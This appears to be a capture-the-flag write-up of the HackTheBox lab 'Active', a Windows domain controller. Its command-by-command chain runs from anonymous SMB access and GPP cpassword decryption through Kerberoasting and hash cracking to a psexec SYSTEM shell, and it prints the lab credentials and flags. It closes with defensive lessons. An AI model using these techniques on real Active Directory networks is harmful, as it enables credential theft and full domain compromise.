the_open_door
coffee
ESEN

Active

HackTheBoxEasyWindows10.10.10.100

The IP may vary: the lab had to be restarted at some point, so screenshots and commands might show a different address. Replace it with the one from your own instance.

#active-directory#smb#null-session#gpp-cpassword#groups-xml#kerberoasting#spn#hash-cracking#psexec
TL;DR. Active is an easy Windows box and an Active Directory classic. An SMB share (Replication) is readable without credentials and holds a GPP Groups.xml with an encrypted password; the encryption key was published by Microsoft, so gpp-decrypt returns SVC_TGS's password. With that domain user we run a Kerberoasting attack: the Administrator account has an SPN, we request its TGS and crack the hash to Ticketmaster1968. With psexec that credential gives a shell as NT AUTHORITY\SYSTEM.

Reconnaissance

Initial scan

A single-packet ping gives the first hint of the operating system through the TTL:

ping -c 1 10.10.10.100

ping to 10.10.10.100 with the ttl=127 reply underlined

64 bytes from 10.10.10.100: icmp_seq=1 ttl=127 time=109 ms

TTL 127 → Windows: Windows starts the TTL at 128 and each routing hop decrements it, so 127 = 128−1; a hint, not proof (it can be spoofed), confirmed by the service scan. The service scan draws a Domain Controller: Kerberos (88), LDAP (389), SMB (445), DNS (53) and the high RPC ports. The domain is active.htb.

A full TCP port scan (-p-) enumerates the whole DC surface:

nmap -sS -n -Pn -p- --min-rate 5000 --open 10.10.10.100

nmap -p- lists the DC's open ports, all with ttl 127: 53, 88, 135, 139, 389, 445 and the high RPC ports

PORT      STATE SERVICE
53/tcp    open  domain
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5722/tcp  open  msdfsr
9389/tcp  open  adws
47001/tcp open  winrm
49152/tcp open  msrpc
49153/tcp open  msrpc
49154/tcp open  msrpc
49155/tcp open  msrpc
49157/tcp open  msrpc
49158/tcp open  msrpc
49165/tcp open  msrpc
49171/tcp open  msrpc
49173/tcp open  msrpc

Over those ports, a -sCV (default scripts and version detection) details service and version, and confirms a DC running Windows Server 2008 R2 SP1 in the active.htb domain:

extractPorts, a .zshrc function, boils the -oG file down and leaves the twenty-three ports on the clipboard:

extractPorts scan

extractPorts boils active's scan down: IP 10.10.10.100 and the twenty-three open ports, copied to the clipboard

Extracting information ...
IP Address: 10.10.10.100
Open ports: 53,88,135,139,389,445,464,593,636,3268,3269,5722,9389,47001,49152,49153,49154,49155,49157,49158,49165,49171,49173

Ports copied to clipboard
nmap -p53,88,135,139,389,445,464,593,636,3268,3269,5722,9389,47001,49152,49153,49154,49155,49157,49158,49165,49171,49173 -sCV 10.10.10.100

nmap profiles a DC: Kerberos, LDAP, SMB and RPC on 10.10.10.100

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-06-14 16:17:06Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5722/tcp  open  msrpc         Microsoft Windows RPC
9389/tcp  open  mc-nmf        .NET Message Framing
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
49152/tcp open  msrpc         Microsoft Windows RPC
49153/tcp open  msrpc         Microsoft Windows RPC
...
49173/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
|   2:1:0:
|_    Message signing enabled and required
| smb2-time:
|   date: 2025-06-14T16:18:05
|_  start_date: 2025-06-14T16:04:44

crackmapexec confirms the DC role and the domain name active.htb, which we add to /etc/hosts:

crackmapexec smb 10.10.10.100

crackmapexec confirms the machine is the DC of the active.htb domain

SMB  10.10.10.100  445  DC  [*] Windows 7 / Server 2008 R2 Build 7601 x64 (name:DC) (domain:active.htb) (signing:True) (SMBv1:False)

We add that name to /etc/hosts so we can resolve active.htb and load the domain resources by name:

sudo nano /etc/hosts

/etc/hosts with the line 10.10.10.100 active.htb added at the end

SMB: a share readable without credentials

smbmap with no user shows the Replication share is readable anonymously (null session):

smbmap -H 10.10.10.100

smbmap reveals the Replication share with read-only permission

[+] IP: 10.10.10.100:445    Name: active.htb    Status: Authenticated
        Disk           Permissions    Comment
        ----           -----------    -------
        ADMIN$         NO ACCESS      Remote Admin
        C$             NO ACCESS      Default share
        IPC$           NO ACCESS      Remote IPC
        NETLOGON       NO ACCESS      Logon server share
        Replication    READ ONLY
        SYSVOL         NO ACCESS      Logon server share
        Users          NO ACCESS

We walk the share to see what it holds. At the root hangs a folder named after the domain, active.htb:

smbmap -H active.htb -r Replication

smbmap lists Replication recursively and shows an active.htb folder inside

Replication    READ ONLY
./Replication active.htb
dr--r--r--  0  Sat Jul 21 12:37:44 2018  .
dr--r--r--  0  Sat Jul 21 12:37:44 2018  ..
dr--r--r--  0  Sat Jul 21 12:37:44 2018  active.htb

One level down appear the folders DfsrPrivate, Policies and scripts:

smbmap -H active.htb -r Replication/active.htb

smbmap lists Replication/active.htb: DfsrPrivate, Policies and scripts, the typical SYSVOL structure

./Replication active.htb
dr--r--r--  0  Sat Jul 21 12:37:44 2018  .
dr--r--r--  0  Sat Jul 21 12:37:44 2018  ..
dr--r--r--  0  Sat Jul 21 12:37:44 2018  DfsrPrivate
dr--r--r--  0  Sat Jul 21 12:37:44 2018  Policies
dr--r--r--  0  Sat Jul 21 12:37:44 2018  scripts

That structure (Policies + scripts + DfsrPrivate) is identical to SYSVOL, the folder DCs replicate among themselves with policies and scripts. That's promising: inside the policy tree usually lives a Group Policy Preferences Groups.xml that may contain passwords. We browse down to it:

smbmap -H active.htb -r Replication/active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Preferences/Groups
smbmap -H active.htb --download "Replication/active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Preferences/Groups/Groups.xml"

smbmap browses to the Groups directory and downloads Groups.xml

        Replication                                             READ ONLY
        ./Replication active.htb/Policies/{31B2F340-...-984F9}/MACHINE/Preferences/Groups
        dr--r--r--                0 Sat Jul 21 12:37:44 2018    .
        dr--r--r--                0 Sat Jul 21 12:37:44 2018    ..
        fr--r--r--              533 Sat Jul 21 12:38:11 2018    Groups.xml
...
[+] Starting download: Replication\active.htb\Policies\{31B2F340-...-984F9}\MACHINE\Preferences\Groups\Groups.xml (533 bytes)
[+] File output to: /home/krmena/machines/active/nmap/10.10.10.100-Replication_active.htb_..._Groups_Groups.xml

Access as SVC_TGS

GPP: a password with broken encryption

Groups.xml contains a cpassword attribute with the password encrypted in AES. The problem is historical: Microsoft published the AES key in its developer documentation, and any domain member can read SYSVOL. It's the GPP vulnerability. gpp-decrypt applies that known key and decrypts it:

cat Groups.xml
gpp-decrypt 'edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ'

Groups.xml exposes SVC_TGS's cpassword and gpp-decrypt returns the cleartext password

userName: active.htb\SVC_TGS
cpassword (decrypted): GPPstillStandingStrong2k18

With SVC_TGS:GPPstillStandingStrong2k18 we validate credentials and read the user flag in Users:

crackmapexec smb 10.10.10.100 --shares -u 'SVC_TGS' -p 'GPPstillStandingStrong2k18'
smbclient //10.10.10.100/Users -U 'SVC_TGS%GPPstillStandingStrong2k18'

with the credentials we access the Users share and read user.txt

bd69b5fb5bf467320531c0758aa6fc79

Domain enumeration with rpcclient

With a valid domain user we can query the DC over MS-RPC. Authenticated rpcclient lets us list users, groups and SIDs, useful for finding more attack surface. First the domain users:

rpcclient -U "SVC_TGS%GPPstillStandingStrong2k18" 10.10.10.100
> enumdomusers

rpcclient enumdomusers lists Administrator, Guest, krbtgt and SVC_TGS with their RIDs

user:[Administrator] rid:[0x1f4]
user:[Guest]         rid:[0x1f5]
user:[krbtgt]        rid:[0x1f6]
user:[SVC_TGS]       rid:[0x44f]

Only four accounts (Administrator, Guest, krbtgt and our SVC_TGS): no extra user to attack. We enumerate the groups in case SVC_TGS sat in an interesting one:

rpcclient -U "SVC_TGS%GPPstillStandingStrong2k18" 10.10.10.100 -c 'enumdomgroups'

rpcclient enumdomgroups lists Domain Admins, Domain Users, Enterprise Admins, Group Policy Creator Owners, etc. with their RIDs

group:[Enterprise Read-only Domain Controllers] rid:[0x1f2]
group:[Domain Admins]                            rid:[0x200]
group:[Domain Users]                             rid:[0x201]
group:[Group Policy Creator Owners]              rid:[0x208]
...

We check the members of Domain Admins (RID 0x200) and detail the Administrator account (RID 0x1f4) with queryuser:

rpcclient ... -c 'querygroupmem 0x200'
rpcclient ... -c 'queryuser 0x1f4'

querygroupmem 0x200 and queryuser 0x1f4: Administrator's "Built-in account for administering the computer/domain" description

User Name   :   Administrator
Description :   Built-in account for administering the computer/domain
user_rid :      0x1f4
group_rid:      0x201

We can also request the domain base SID with lsaquery, the piece a RID brute force needs to build full SIDs:

rpcclient -U "SVC_TGS%GPPstillStandingStrong2k18" 10.10.10.100 -c "lsaquery"

lsaquery returns Domain Name ACTIVE and Domain Sid S-1-5-21-405608879-3187717380-1996298813

Domain Name: ACTIVE
Domain Sid:  S-1-5-21-405608879-3187717380-1996298813

With that base SID, a RID brute force loop resolves each S-1-5-21-...-<RID> to its name. It only confirms the accounts we already knew (500 Administrator, 501 Guest, 502 krbtgt), no new objects:

for i in {500..505}; do timeout 2 rpcclient -U "SVC_TGS%GPPstillStandingStrong2k18" 10.10.10.100 -c "lookupsids S-1-5-21-405608879-3187717380-1996298813-$i"; done

the RID brute force loop resolves 500 Administrator, 501 Guest, 502 krbtgt and the rest as <em>unknown</em>

S-1-5-21-405608879-3187717380-1996298813-500 ACTIVE\Administrator (1)
S-1-5-21-405608879-3187717380-1996298813-501 ACTIVE\Guest (1)
S-1-5-21-405608879-3187717380-1996298813-502 ACTIVE\krbtgt (1)
S-1-5-21-405608879-3187717380-1996298813-503 *unknown*\*unknown* (8)

RPC enumeration finds no new users, so we try user discovery over Kerberos with kerbrute, which validates names against the KDC (port 88) with no credentials:

kerbrute userenum --dc 10.10.10.100 -d active.htb /home/krmena/SecLists/Usernames/Names/names.txt

kerbrute tests 10177 names against the KDC and finishes with 0 valid users

2025/06/15 01:13:34 >  Using KDC(s):
2025/06/15 01:13:34 >    10.10.10.100:88

2025/06/15 01:17:58 >  Done! Tested 10177 usernames (0 valid) in 264.081 seconds

kerbrute validates no new user (0 valid). With the user surface exhausted, the only vector left is to abuse SVC_TGS's own Kerberos access.

Shell as Administrator

A dead end: AS-REP Roasting

With a valid user, the first move is to look for accounts without Kerberos pre-authentication (AS-REP Roasting). First sync the clock with the DC, since Kerberos rejects tickets with more than 5 minutes of skew:

ntpdate active.htb

ntpdate adjusts the local clock against active.htb (CLOCK: time stepped by 0.86)

CLOCK: time stepped by 0.860187

With the clock synced, we request an AS-REP for SVC_TGS. But the account does require pre-authentication, so that path is ruled out:

GetNPUsers.py active.htb/ -no-pass -usersfile users.txt

GetNPUsers confirms SVC_TGS does have pre-authentication: AS-REP Roasting isn't viable

[-] User SVC_TGS doesn't have UF_DONT_REQUIRE_PREAUTH set

Kerberoasting the Administrator account

We move to Kerberoasting: any authenticated user can request the TGS of any account with an SPN, and that ticket is encrypted with the key derived from the service owner's password. If the owner is a privileged account with a weak password, it cracks offline. Here the SPN is tied to none other than Administrator:

GetUserSPNs.py active.htb/SVC_TGS:GPPstillStandingStrong2k18 -request
john --wordlist=rockyou.txt hash

GetUserSPNs requests Administrator's TGS and john cracks the hash to Ticketmaster1968

ServicePrincipalName  Name           MemberOf                                                 PasswordLastSet
--------------------  -------------  -------------------------------------------------------  --------------------------
active/CIFS:445       Administrator  CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb  2018-07-18 21:06:40.351723

$krb5tgs$23$*Administrator$ACTIVE.HTB$active.htb/Administrator*$d2410c6a22d0a13c4dfcd84ef6c11a90...<SNIP>...b0bc45addbbe7a78

Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Ticketmaster1968 (?)
1g 0:00:00:07 DONE (2025-06-15 02:01) 0.2222g/s 2342Kp/s ...
Session completed.

The hash falls against rockyou: the administrator's password is Ticketmaster1968.

psexec as SYSTEM

WinRM (5985) isn't open, so we use psexec, which creates a service over SMB to run commands remotely. With Administrator's credentials we get a shell as NT AUTHORITY\SYSTEM:

psexec.py active.htb/Administrator:Ticketmaster1968@10.10.10.100 cmd.exe

psexec opens a shell as NT AUTHORITY\SYSTEM and we read root.txt

C:\Windows\system32> type C:\Users\Administrator\Desktop\root.txt
71fc69296a2753215b17f0f8696856cb

Attack chain

DC active.htb (SMB :445)  →  smbmap (null session)  →  Replication (= SYSVOL)
   │  Groups.xml  →  cpassword (GPP)
   ▼
gpp-decrypt (published AES key)  →  SVC_TGS:GPPstillStandingStrong2k18  →  user.txt
   │  AS-REP Roast → ruled out (pre-auth enabled)
   ▼
Kerberoasting  →  Administrator's TGS (SPN)  →  john  →  Ticketmaster1968
   │
   ▼
psexec.py Administrator  →  NT AUTHORITY\SYSTEM  →  root.txt

Lessons learned

  • An SMB share readable without credentials is half the box. Replication replicated SYSVOL, and with it a Groups.xml. Restrict anonymous access and don't expose copies of SYSVOL.
  • GPP was a Microsoft design flaw. The encryption key for cpassword is public; any Groups.xml with cpassword is cleartext. Apply MS14-025 and, above all, don't set passwords via GPP.
  • Kerberoasting punishes service accounts with an SPN. Administrator having an SPN let us request its TGS and crack it offline. Use long, random passwords on SPN accounts, or managed accounts (gMSA).
  • The clock matters. Kerberos rejects tickets with more than 5 minutes of skew: sync with ntpdate before any ticket attack.
Command cheatsheet 19 commands

Quick review